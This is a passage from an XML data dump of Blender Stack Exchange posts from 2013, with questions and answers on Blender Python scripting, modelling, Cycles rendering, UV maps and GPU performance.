poly.loop_indices:&#xA;        r, g, b = [random.random() for i in range(3)]&#xA;        color_layer.data[i].color = (r, g, b, 1.0)&#xA;        i += 1&#xA;&#xA;# set to vertex paint mode to see the result&#xA;bpy.ops.object.mode_set(mode='VERTEX_PAINT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also a small blogpost about vertex colours &lt;a href=&quot;http://blenderscripting.blogspot.nl/2013/03/vertex-color-map.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://blenderscripting.blogspot.nl/2013/03/painting-vertex-color-map-using.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, if you are so inclined.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;code&gt;Weight Painting&lt;/code&gt;, i'm not sure -- i'll let someone more familiar with that give an answer&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-05-13T09:31:07.787" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="912" PostTypeId="1" AcceptedAnswerId="913" CreationDate="2013-06-11T20:35:55.660" Score="6" ViewCount="2340" Body="&lt;p&gt;I am trying to use the bgl module to draw triangles on top of the Blender interface. My understanding is that glBegin/glEnd are deprecated, and vertex array or display list or VBO should be used instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't seems to find the relevant functions I need (glDrawArray, glBindBuffer, etc) in the bgl module. Any insights?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my &lt;code&gt;bgl.glGetString(bgl.GL_VERSION)&lt;/code&gt; is 2.1 ATI-1.8.18&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2013-06-12T03:13:43.960" LastActivityDate="2016-04-16T10:18:03.540" Title="Draw geometry on screen using BGL module" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="913" PostTypeId="2" ParentId="912" CreationDate="2013-06-11T21:09:04.240" Score="9" Body="&lt;p&gt;All the available OpenGL calls exposed in the bgl API are: &lt;a href=&quot;https://www.blender.org/api/blender_python_api_current/bgl.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/api/blender_python_api_current/bgl.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(or in &lt;a href=&quot;https://svn.blender.org/svnroot/bf-blender/trunk/blender/source/blender/python/generic/bgl.c&quot; rel=&quot;nofollow&quot;&gt;https://svn.blender.org/svnroot/bf-blender/trunk/blender/source/blender/python/generic/bgl.c&lt;/a&gt; without the gl prefix)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a few OpenGL 2.0 calls, but not even all I think.&#xA;It's easy to extend it to specific functions, but we are close to the point where it makes more sense to use a full OpenGL wrapper such as PyGL (and that's why the number of functions exposed is a bit stagnated).&lt;/p&gt;&#xA;" OwnerUserId="223" LastEditorUserId="3710" LastEditDate="2016-04-16T10:18:03.540" LastActivityDate="2016-04-16T10:18:03.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="914" PostTypeId="1" CreationDate="2013-06-11T21:27:55.253" Score="9" ViewCount="5491" Body="&lt;p&gt;I am new to Blender and was wondering how I'd build a shape like so in blender? I.e. what tools are usually used for these type of organic curves?! the walls are 1mm thick and im wondering how would I draw that shape and set a depth and then give it a flat back as a piece I could then separate to illustrate the bezel and the shape of the curve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Front view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EJ2VQm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;side view to illustrate depth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRkcRm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="585" LastEditorUserId="12" LastEditDate="2013-08-09T18:46:11.613" LastActivityDate="2019-02-02T16:54:10.987" Title="How to create a simple extruded box model?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="915" PostTypeId="2" ParentId="909" CreationDate="2013-06-11T21:32:43.307" Score="-4" Body="&lt;h1&gt;Setting weight numerically&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Enter edit mode and you'll find it in the Properties window under, Object Data, Vertex Groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xptc8.png&quot; alt=&quot;Vertex Groups&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-11T21:32:43.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="916" PostTypeId="2" ParentId="914" CreationDate="2013-06-11T21:43:23.767" Score="13" Body="&lt;p&gt;What you are asking for is not one tool but a workflow. There is no one set way to do this, curves can be better for getting rounded edges but mesh modeling can be just as good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, this is fairly simple and you can achieve the majority of what you ask by just extruding. You can extrude faces, edges and vertices in Blender with the &lt;em&gt;Extrude&lt;/em&gt; tool. Just select a face, vertex or edge and press &lt;kbd&gt;E&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Alternatively, you can constrain your extrusions to extruding along the object normal with &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;), you can experiment with this.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will use the image you provided as a quick example here..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, get as close as you can to the shape of the object, &lt;em&gt;(I create the outline of the object from top view)&lt;/em&gt;. I add a plane  and just grab the edges and subdivide a few times using &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Subdivide&lt;/em&gt; while in &lt;em&gt;Edit&lt;/em&gt; mode to get some more geometry. I then move the new vertices to fit the shape of the image as closely as possible. To make it more detailed and &lt;em&gt;organic&lt;/em&gt; as you ask, you can add more vertices to round out the curved side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iekMG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the face has not been filled, you can use &lt;kbd&gt;F&lt;/kbd&gt; to make a face from several vertices. I then extrude and delete the top face to give it some depth. To get the lid, I just duplicated the object with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and moved the sides down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qnRqw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take it anywhere from here now.. I have also quickly added a &lt;em&gt;Solidify&lt;/em&gt; modifier to give it some thickness. Also another note, I wouldn't worry too much as a beginner on getting accurate units etc, If you insist however, you can change the units using the &lt;em&gt;Scene&lt;/em&gt; tab under &lt;em&gt;Units&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To carry on, I recommend that you see these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/247/how-can-i-make-sharp-geometric-3d-models-look-more-realistic/248#248&quot;&gt;How can I make sharp geometric 3d models look more realistic?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/811/most-efficient-way-to-round-edges/&quot;&gt;Most efficient way to round edges&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/89/when-should-n-gons-be-used-and-when-shouldnt-they?rq=1&quot;&gt;When should N-Gons be used, and when shouldn&amp;#39;t they?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-06-11T22:25:17.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="917" PostTypeId="1" AcceptedAnswerId="919" CreationDate="2013-06-11T21:49:48.050" Score="12" ViewCount="23750" Body="&lt;p&gt;I know with a mouse, you can press &lt;kbd&gt;b&lt;/kbd&gt; in edit mode and then box select using the middle mouse button to deselect vertices (or edges, faces, etc.)&#xA;How do you do this if you don't have a middle mouse button?&lt;/p&gt;&#xA;" OwnerUserId="582" LastEditorUserId="185" LastEditDate="2013-06-11T22:14:36.060" LastActivityDate="2014-02-18T16:18:53.760" Title="How do you unselect vertices without a middle mouse button?" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;editing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="919" PostTypeId="2" ParentId="917" CreationDate="2013-06-11T22:03:42.123" Score="11" Body="&lt;p&gt;In Blender you really have to have a middle-mouse-button, but if you don't own a 3 button mouse, you can emulate one in the preferences.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open User Preferences &lt;kbd&gt;Control&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;u&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Switch the the Input tab.&lt;/li&gt;&#xA;&lt;li&gt;Enable Emulate 3 Button Mouse.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can now use &lt;kbd&gt;Alt&lt;/kbd&gt;+Left-Mouse to perform tasks normally done with the middle mouse button.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="55" LastEditDate="2013-06-11T22:16:35.060" LastActivityDate="2013-06-11T22:16:35.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="920" PostTypeId="2" ParentId="914" CreationDate="2013-06-11T22:12:42.750" Score="2" Body="&lt;p&gt;What you'll probably want is a &lt;a href=&quot;http://www.youtube.com/watch?v=YjOSkSQtGOM&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; on extruding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools you'll need:&lt;br&gt;&#xA;1. The Extrude tool - access with E&lt;br&gt;&#xA;2. The Solidify Modifier - access through the modifiers menu&lt;br&gt;&#xA;3. To measure, probably another tutorial or discussion like &lt;a href=&quot;http://www.blender.org/forum/viewtopic.php?t=15732&amp;amp;sid=65454d0851162acf56a0a46373a09e07&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-06-11T22:12:42.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="921" PostTypeId="2" ParentId="917" CreationDate="2013-06-11T22:16:25.583" Score="8" Body="&lt;p&gt;An alternative solution would be to hold &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Shift&lt;/kbd&gt; before dragging with left mouse button, which will deselect vertices within lasso area. This method also doesn't require middle mouse button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Jzn0.gif&quot; alt=&quot;Lasso-deselect&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Omitting &lt;kbd&gt;Shift&lt;/kbd&gt; (just &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;LMB&lt;/kbd&gt;) will lasso-select vertices.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-11T22:16:25.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="922" PostTypeId="2" ParentId="6" CreationDate="2013-06-11T22:24:01.547" Score="16" Body="&lt;p&gt;The most computationally efficient (and easiest) way to make ripples or waves in Blender is to use the &lt;strong&gt;Wave Modifier&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature was in Blender long before fluid simulations, dynamic paint, displacement textures or even modifiers. (It was called an &quot;Effect&quot; back then, but other than that, it has not changed much.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/eJwGZwc.png&quot; alt=&quot;Blender 1.60 Wave Effect&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tested it on &lt;a href=&quot;http://download.blender.org/release/&quot;&gt;Blender 1.60 from 1999&lt;/a&gt;. I bet it was in Blender sooner, but I don't have an Irix machine to test it.  (I also know a similar wave tool was in 3ds Max r2 in 1997.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It's a simple procedural operation designed on much slower computers, so it's fast.&lt;/strong&gt; (I believe it uses the sine function to offset the mesh, also it doesn't need to cache.)  You can interactively tinker with the settings and preview the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has options for the size of the wave, when and where it starts, whether it's a ripple circle or a wide wave...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is simple, but you can do more advanced effects with it.  For example: to emulate a ripple bouncing off a wall, add another wave with the starting position outside of the object, the same distance to the wall. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CfbHI.png&quot; alt=&quot;Blender 2.67 bounced wave example.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/33308607&quot;&gt;&lt;strong&gt;Here's a video tutorial on using the wave modifier&lt;/strong&gt;&lt;/a&gt; by the Ott Planetarium.&lt;/p&gt;&#xA;" OwnerUserId="583" LastEditorUserId="583" LastEditDate="2013-06-29T08:03:03.307" LastActivityDate="2013-06-29T08:03:03.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="923" PostTypeId="2" ParentId="904" CreationDate="2013-06-11T22:33:26.440" Score="4" Body="&lt;p&gt;Yes - to some extent, you can pin UV's to control the placement of each island.&#xA;To control the scale and placement you only have to pin 2 uvs on the island, to control the overall shape better you may want to pin 4 or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See docs on live-unwrap and pinning, older &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Books/Essential_Blender/10.2.UV_Unwrapping_and_Painting%3a_Tools#Pinning_and_Live_Unwrap_Transform&quot; rel=&quot;nofollow&quot;&gt;wiki docs&lt;/a&gt; but still valid&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-11T22:33:26.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="924" PostTypeId="1" AcceptedAnswerId="927" CreationDate="2013-06-11T23:09:34.237" Score="20" ViewCount="29960" Body="&lt;p&gt;I am trying to render smoke in cycles, but the relevant blender &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke&quot; rel=&quot;noreferrer&quot;&gt;manual page&lt;/a&gt; is designed for Bender Internal. I have everything set up except for the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine you would set up the material nodes something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8dY7F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is that there is no Voxel Data texture node, ans I am not sure what kind of shader should be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is smoke in Cycles simply not supported yet? Or do I need to go about this a different way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Reference: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke/Material&quot; rel=&quot;noreferrer&quot;&gt;Smoke material in blender internal&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="599" LastEditDate="2014-01-16T22:08:05.683" LastActivityDate="2015-02-08T15:24:08.870" Title="Rendering smoke in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;smoke-simulation&gt;&lt;volumetrics&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="925" PostTypeId="1" AcceptedAnswerId="926" CreationDate="2013-06-11T23:12:55.647" Score="22" ViewCount="7078" Body="&lt;p&gt;When &lt;strong&gt;Animating using cycles&lt;/strong&gt;, the noise always looks like it is stuck to the screen, is it possible to change the render seed for each frame?&lt;/p&gt;&#xA;" OwnerUserId="411" LastActivityDate="2016-08-06T21:24:15.930" Title="Can you change the render seed for each frame of an animation in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="926" PostTypeId="2" ParentId="925" CreationDate="2013-06-11T23:27:41.443" Score="32" Body="&lt;h1&gt;New Versions of Blender&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As of 2.75, this is as simple as checking the little clock icon in the seed input field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7y40v.png&quot; alt=&quot;Seed Clock Icon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Previous Versions of Blender&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can animate and add drivers to the seed field in the Sampling panel in the render buttons the same way you can with most of the fields in Blender. Simply clicking on the field and writing &lt;code&gt;#frame&lt;/code&gt; will create a driver that uses the current frame number as the value for the field. This generates a different noise pattern for each frame.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="649" LastEditDate="2016-08-06T21:24:15.930" LastActivityDate="2016-08-06T21:24:15.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="927" PostTypeId="2" ParentId="924" CreationDate="2013-06-11T23:52:23.110" Score="7" Body="&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap&quot;&gt;Cycles Roadmap&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Probably the first release with Volumetrics will be 2.69 or 2.70.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-11T23:52:23.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="928" PostTypeId="1" CreationDate="2013-06-11T23:56:58.790" Score="14" ViewCount="28009" Body="&lt;p&gt;Is there a way of combining two or more small UV maps into one larger map? I seem to recall that there was a function in 2.4x that did this (I think it was called consolidate UV's or similar) Making everything you want into one object, unwrapping and then separating everything again seems a long winded way of doing things.&lt;/p&gt;&#xA;" OwnerUserId="596" LastActivityDate="2018-02-16T11:46:05.587" Title="Combining UV maps" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="929" PostTypeId="2" ParentId="582" CreationDate="2013-06-12T01:35:10.857" Score="50" Body="&lt;h1&gt;Pausing from the Operating System:&lt;/h1&gt;&#xA;&lt;h2&gt;Linux&lt;/h2&gt;&#xA;&lt;p&gt;If you are on Linux&#xA;you can send signals with these commands:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# To pause Blender:&#xA;killall -s STOP blender&#xA;&#xA;# To start it again:&#xA;killall -s CONT blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some advantages to this are that it will work&#xA;for any task, not just rendering, and that you&#xA;do not have to start blender from a terminal.&#xA;For Mac, omit &lt;code&gt;-s&lt;/code&gt; and use &lt;code&gt;Blender&lt;/code&gt;, not &lt;code&gt;blender&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Windows&lt;/h2&gt;&#xA;&lt;p&gt;You can use process explorer for this. See this question on &lt;a href=&quot;https://stackoverflow.com/a/15969868/432509&quot;&gt;StackOverflow&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Pausing from Blender:&lt;/h1&gt;&#xA;&lt;p&gt;Pausing &lt;kbd&gt;F12&lt;/kbd&gt; renders from Blender is not implemented yet,&#xA;however it is on the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/ToDo&quot; rel=&quot;noreferrer&quot;&gt;Cycles Todo List&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-02-18T13:26:05.030" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="930" PostTypeId="2" ParentId="87" CreationDate="2013-06-12T02:09:50.380" Score="1" Body="&lt;p&gt;I run Blender 2.66 from an uncompressed folder on my desktop. I find that I can run as many instances as I like without any prevention from my OS (windows 8).&#xA;And I don't have to run another version of blender to do that, what I do is I just click on the Blender icon in the folder and I get a new instance immediately it doesn't send me to the open instance (like other apps would do)&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-06-12T02:09:50.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="931" PostTypeId="1" CreationDate="2013-06-12T03:11:46.847" Score="-1" ViewCount="7568" Body="&lt;p&gt;Will Blender Cycles have a better performance in the future with Nvidia Quadro?&lt;/p&gt;&#xA;" OwnerUserId="604" LastEditorUserId="131" LastEditDate="2013-06-12T14:32:27.733" LastActivityDate="2013-06-12T14:32:27.733" Title="Why is Quadro slower than GTX rendering on GPU cycles?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2013-06-14T12:29:41.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="932" PostTypeId="2" ParentId="931" CreationDate="2013-06-12T03:24:19.160" Score="7" Body="&lt;p&gt;Quadro cards tend to have less CUDA cores than GTX cards, therefore their performance is worse.&#xA;The advantage of using a Quadro or Tesla cards consists in more GPU memory (which means more complex renders).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info you can check out the nVidia website and look at the specs of the cards.&lt;/p&gt;&#xA;" OwnerUserId="539" LastActivityDate="2013-06-12T03:24:19.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="933" PostTypeId="2" ParentId="928" CreationDate="2013-06-12T03:50:35.800" Score="6" Body="&lt;p&gt;To combine the UVs you just need to combine the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to combine the objects, select both objects and press &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;. Which ever object is active will be used as the final object, merging the first one into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon combining the objects the UVs will also be combined, allowing you to organize as you wish without needing to re-unwrap the UVs.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-06-12T03:50:35.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="934" PostTypeId="1" AcceptedAnswerId="935" CreationDate="2013-06-12T06:04:20.793" Score="8" ViewCount="3980" Body="&lt;p&gt;I understand that there is no proper way of doing volumetric shading in cycles yet, but I'm curious to know if there is a way to fake it. Effects such as clouds or fire.&lt;/p&gt;&#xA;" OwnerUserId="404" LastEditorUserId="29301" LastEditDate="2018-10-06T10:24:15.563" LastActivityDate="2018-10-06T10:24:15.563" Title="Volumetric Shading in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;nodes&gt;&lt;volumetrics&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="935" PostTypeId="2" ParentId="934" CreationDate="2013-06-12T07:16:17.090" Score="8" Body="&lt;p&gt;One of the standards for faking volumetrics is using billboard particles. Back in Blender v2.49, I used to use them all the time. I know that Weta digital used billboard particles for smoke in the LoTR movies. I &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?162261-Dragon-fire-Lavafalls-Dust-storms-etc&quot;&gt;started a thread&lt;/a&gt; on blenderartists.org about it. I did a series of video tutorials about it that are listed in the thread. They aren't the greatest video tutorials, but you may find them useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, each particle in your system is rendered as a flat, transparent, circular texture. With enough particles, it will look like smoke/cloud. You can even use textured spheres as your particles if a strictly 3D effect is necessary. I talk about using spheres in the third video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can render all your volumetrics in a separate layer using BlenderRender. Then, you can composite them into your cycles scene later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=qQBRNI6WKnM&quot;&gt;Here is a video with examples&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2013-06-12T07:16:17.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="936" PostTypeId="2" ParentId="931" CreationDate="2013-06-12T07:37:30.123" Score="3" Body="&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Nvidia_Quadro&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In introducing Quadro, NVIDIA was able to charge a premium for essentially the same graphics hardware in professional markets, and direct resources to properly serve the needs of those markets. To differentiate their offerings, NVIDIA used driver software and firmware to selectively enable features vital to segments of the workstation market; e.g., high performance anti-aliased lines and two-sided lighting were reserved for the Quadro product.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thus the &lt;a href=&quot;http://www.geforce.com/hardware/desktop-gpus/geforce-gtx-680/specifications&quot; rel=&quot;nofollow&quot;&gt;GTK 680&lt;/a&gt; and &lt;a href=&quot;http://www.nvidia.com/object/quadro-k5000.html#pdpContent=2&quot; rel=&quot;nofollow&quot;&gt;Quadro K5000&lt;/a&gt; will render at the same speed. As they are based on the same hardware.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-12T07:37:30.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="937" PostTypeId="2" ParentId="552" CreationDate="2013-06-12T07:45:17.223" Score="1" Body="&lt;p&gt;Global time is basically just the frame number. As far as I know, Blender can't render &lt;em&gt;in between&lt;/em&gt; frames, so there isn't a way to slow down global time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I may be wrong about that though. Maybe turbulence is computed as a &lt;code&gt;current_frame / total_frames&lt;/code&gt;? In that case, you could try increasing/decreasing the number of frames. I don't have time to do a test case, at the moment.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you should use &quot;particle age&quot; for the influence. To modify slow down the turbulence, you'll need to select the &lt;em&gt;particles&lt;/em&gt; option when you first generate the cloud. This will let you edit the particle system associated with the point cloud texture. Longer particle lifetime = slower; shorter particle lifetime = faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Volume/Point_Density&quot; rel=&quot;nofollow&quot;&gt;See the Blender Wiki for the Point Density Texture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Oh, you could also just render it at slow speed, then speed it up using a &quot;speed control&quot; effect in the video sequencer. 'Tis a hack, but may suit your situation.&lt;/p&gt;&#xA;" OwnerUserId="607" LastEditorUserId="607" LastEditDate="2013-06-12T07:55:11.253" LastActivityDate="2013-06-12T07:55:11.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="938" PostTypeId="1" AcceptedAnswerId="943" CreationDate="2013-06-12T08:26:37.987" Score="8" ViewCount="2551" Body="&lt;p&gt;Is there a python code to find and delete back-faces? As a way to do &quot;back-face culling&quot;.&lt;/p&gt;&#xA;" OwnerUserId="393" LastEditorUserId="2217" LastEditDate="2014-12-15T15:55:14.257" LastActivityDate="2014-12-15T15:55:14.257" Title="How to find back-faces and delete them with python?" Tags="&lt;python&gt;&lt;geometry&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="939" PostTypeId="2" ParentId="892" CreationDate="2013-06-12T08:27:42.510" Score="4" Body="&lt;p&gt;If you look at the point cache files, the default filename follows the format: &lt;code&gt;[identifier]_[frame]_[index].bphys&lt;/code&gt;. Unfortunately, the &lt;code&gt;[frame]&lt;/code&gt; in the filename doesn't actually correspond to the cache's actual frame number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means, the only way to offset a cache's frames is by parsing the contents of each file (e.g. writing a python script). Apparently, modifying the contents is not that straightforward. &lt;a href=&quot;http://code.blender.org/index.php/2011/01/a-look-at-point-cache/&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; explains a little (towards the bottom). Glancing at the blender source code, it looks like you'll need to edit the points time, dietime, and lifetime; some cache files may also store the previous cache point's time data too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know C, It may be easier to just write a patch for Blender to add the feature. That way, you can make use of the read/write methods from Blender's source. You could also request the feature; perhaps there is a developer who is familiar with the code who can easily add it.&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2013-06-12T08:27:42.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
